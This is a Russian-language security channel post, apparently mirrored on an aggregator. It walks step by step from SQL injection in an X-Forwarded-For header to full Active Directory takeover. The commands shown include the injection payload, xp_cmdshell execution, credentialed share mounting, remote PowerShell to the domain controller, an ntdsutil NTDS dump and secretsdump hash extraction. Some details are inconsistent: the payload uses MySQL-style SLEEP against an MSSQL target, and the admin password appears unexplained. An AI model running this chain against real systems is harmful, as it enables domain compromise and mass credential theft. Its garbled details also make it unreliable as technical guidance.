W
Web Application Security Notes
@HacksHistory564 подп.
2.2Kпросмотров
12 сентября 2025 г.
📷 ФотоScore: 2.4K
Из интересных и лёгких кейсов в последнее время: SQL-инъекция → MSSQL → AD takeover Шаг 1. sql injection в x-forwarded-for GET /portal HTTP/1.1 Host: target.local X-Forwarded-For: 1' IF(1=1, SLEEP(5), 0)-- Слипнулось на 5 секунд - збс. Получаем субд и смотрим пользователя от которого запущена субд. Пользователь: svc_webapp@domain Шаг 2. sqlmap os-shell Немного теории, чтобы работал os-shell звёзды должны сойтись так, чтобы на уязвимом сервере был примерно такой стэк: 1. База поддерживает вызов системных команд MSSQL → через xp_cmdshell, sp_oacreate, CLR-ассамблеи. MySQL/MariaDB → при включённых FILE/PROCESS правах и доступе к sys_exec()/udf. PostgreSQL → через COPY TO PROGRAM, lo_export(), pg_execute_server_program() и пр. Oracle → через DBMS_SCHEDULER, DBMS_PIPE, UTL_HTTP, JAVA. 2. Учётка в базе имеет достаточные права В MSSQL нужен хотя бы sysadmin, иначе xp_cmdshell может быть недоступен. В PostgreSQL нужен суперпользователь. В MySQL права SUPER или FILE. 3. Веб-приложение действительно исполняет команды на том же сервере Если база на отдельном хосте (DB-only сервер без оболочки), то максимум получится писать файлы, но не RCE. Когда не работает --os-shell: 1. Если у учётки в БД нет прав (например, только db_datareader в MSSQL). 2. Если функции для системных вызовов отключены админом (xp_cmdshell выключен по умолчанию в новых MSSQL). 3. Если база стоит на отдельном хосте, и даже при xp_cmdshell ты попадаешь в среду без нужных утилит (например, только SQL Service без интерактивного шелла). 4. Если WAF/фильтры блокируют полезные нагрузки. 5. Если sqlmap видит SQLi, но она read-only (например, только SELECT без возможности UNION/INSERT/UPDATE). Шаг 3. Выполняем системные команды: EXEC xp_cmdshell 'whoami /all'; ответ: domain\svc_webapp Privileges : SeBackupPrivilege, SeServiceLogonRight Шаг 4. Пивот во внутрянку: net use \\fileserver\deploy$ /user:domain\svc_webapp P@ssword! $User = "DOMAIN\deploy_admin" $Pass = ConvertTo-SecureString "Qwerty123!" -AsPlainText -Force net use — подключение сетевого ресурса (файловой шары SMB). \\fileserver\deploy$ — скрытая административная шара. Такие папки не отображаются при обычном просмотре сети, но доступны, если знаешь точный путь. /user:domain\svc_webapp P@ssword! — аутентификация от имени сервисной учётки, креды которой мы получили через SQL-инъекцию (или из базы). Шаг 5. Интеррактивный доступ: Собираем интерактивный сеанс на сервере: Enter-PSSession -ComputerName dc01.domain.local -Credential domain\deploy_admin Попадаем на домен контроллер (дк) Шаг 6. NTDS На ДК выполняем: ntdsutil "ac i ntds" "ifm" "create full c:\temp\dump" q q 7. Берём хэшики secretsdump.py -ntds ntds.dit -system system.bak LOCAL Все NTLM-хэши пользователей домена в кармане. Итог: Из одной SQL-инъекции в заголовке: 1. доступ к MSSQL 2. выполнение команд через xp_cmdshell, 3. нахождение сервисных кредов, 4. интерактивный доступ к DC, 5. дамп NTDS и полный контроль домена.
2.2K
просмотров
3046
символов
Нет
эмодзи
Да
медиа

Другие посты @HacksHistory

Все посты канала →
Из интересных и лёгких кейсов в последнее время: SQL-инъекци — @HacksHistory | PostSniper